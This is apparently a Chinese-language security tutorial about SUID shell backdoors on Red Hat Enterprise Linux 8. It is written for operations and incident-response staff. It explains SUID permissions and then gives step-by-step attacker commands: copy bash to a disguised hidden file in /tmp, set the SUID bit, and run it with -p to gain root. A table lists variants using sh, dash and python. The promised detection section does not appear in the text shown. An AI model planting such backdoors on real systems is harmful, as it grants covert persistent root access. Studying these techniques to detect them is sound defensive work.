文章定位:面向安全运维人员与应急响应人员,侧重于“原理+操作+检测”三位一体。
复现环境:Red Hat Enterprise Linux 8
1. 引言
核心思想:SUID/SGID 是 Linux 系统中一种特殊的文件权限,允许普通用户以文件所有者的权限执行程序。攻击者可以利用这一特性,将一个 Shell 程序设置为 SUID root,从而让普通用户也能获得 root 权限。
本篇内容:
-
SUID/SGID 原理详解
-
SUID Shell 后门植入与触发
-
检测方法与清除手段
2.后门技术详解
2.1 SUID/SGID 原理
什么是 SUID?
SUID(Set User ID)是一种特殊权限位。当一个可执行文件设置了 SUID 位,任何用户运行该程序时,程序会以文件所有者的身份运行,而不是以运行者的身份。
| 权限类型 | 符号表示 | 数值 | 效果 |
|---|---|---|---|
| 普通文件 | -rwxr-xr-x |
755 | 以运行者的身份执行 |
| SUID 文件 | -rwsr-xr-x |
4755 | 以文件所有者的身份执行 |
| SGID 文件 | -rwxr-sr-x |
2755 | 以文件所属组的身份执行 |
示例:/bin/passwd 就是一个典型的 SUID 程序。

ls -l /bin/passwd
# 输出:-rwsr-xr-x. 1 root root 34560 日期 /bin/passwd
# ↑ s 表示设置了 SUID
普通用户运行 passwd 命令时,需要修改 /etc/shadow 文件(只有 root 可写)。正是因为设置了 SUID,passwd 可以临时获得 root 权限来修改密码。
后门原理
攻击者将一个 Shell(如 /bin/bash)复制到某个隐蔽目录,然后给它加上 SUID 权限。普通用户运行这个 Shell 时,就能获得 root 权限。
如果不懂,那就想象一下:
你是一个普通员工(普通用户),公司大门(服务器)只有老板(root)能随意进出。
你想进去偷东西(提权),于是你想了个办法:
你配了一把老板的钥匙(SUID bash),这样你开门的时候,门禁系统会以为你是老板。
但是!这把钥匙有个问题:你插进去的时候,必须大喊一声“我是老板!”(-p参数),否则钥匙不会生效。
如果你不喊,门还是打不开,你只是个拿着钥匙的普通员工。
2.2 对应到代码,SUID Shell 后门操作(攻击者视角)
第一步:配一把“老板的钥匙”
cp /bin/bash /tmp/.system_update
-
/bin/bash= 正常的命令解释器(相当于一把空白钥匙坯) -
/tmp/.system_update= 伪装成系统更新文件的隐蔽位置(相当于你偷偷配的钥匙)
人话:你把 bash 复制到一个隐蔽的地方,准备把它改造成“老板钥匙”。
第二步:给钥匙刻上“老板权限”
-
u+s= 添加 SUID 权限
人话:你给这把钥匙刻上“老板”的身份标识。现在它是一把“老板钥匙”了,但还不能直接用。
第三步:验证钥匙确实刻好了
ls -l /tmp/.system_update
输出:
-rwsr-xr-x. 1 root root 约1M 日期 /tmp/.system_update
rws 中的 s = SUID 已生效
人话:钥匙上确实刻着“老板”两个字(s 标志),证明它是一把真正的“老板钥匙”。
第四步:用钥匙开门
❌ 不喊“我是老板” → 钥匙没用
/tmp/.system_update
whoami # 还是 guest
人话:你拿着老板钥匙去开门,但不喊“我是老板”,门禁系统不认,你还是普通员工。
✅ 喊“我是老板” → 钥匙生效
/tmp/.system_update -p
whoami # 变成 root
人话:你拿着老板钥匙,大喊一声“我是老板!”(-p 参数),门禁系统验证通过,你变成了老板!
触发后门(普通用户执行)
# 普通用户(如 guest)执行
/tmp/.system_update -p
注意:新版 bash 增加了安全保护,直接运行 SUID bash 会丢弃 root 权限,必须加上 -p 参数(-p 表示保留原始权限)。
提权验证
# 切换到一个普通用户
su - guest
# 执行后门
/tmp/.system_update -p
# 检查当前身份
whoami
# 输出:root
id
# 输出:uid=0(root) gid=1002(guest) 组=1002(guest)
结果:普通用户成功获得了 root 权限。
2.3 其他 SUID 后门变种
| 文件 | 命令 | 说明 |
|---|---|---|
/bin/sh |
cp /bin/sh /tmp/.sh && chmod u+s /tmp/.sh |
老系统常用 |
/bin/dash |
cp /bin/dash /tmp/.dash && chmod u+s /tmp/.dash |
Debian/Ubuntu 默认 |
/usr/bin/python |
设置 SUID 后,Python 可直接提权 | 更隐蔽 |
















暂无评论内容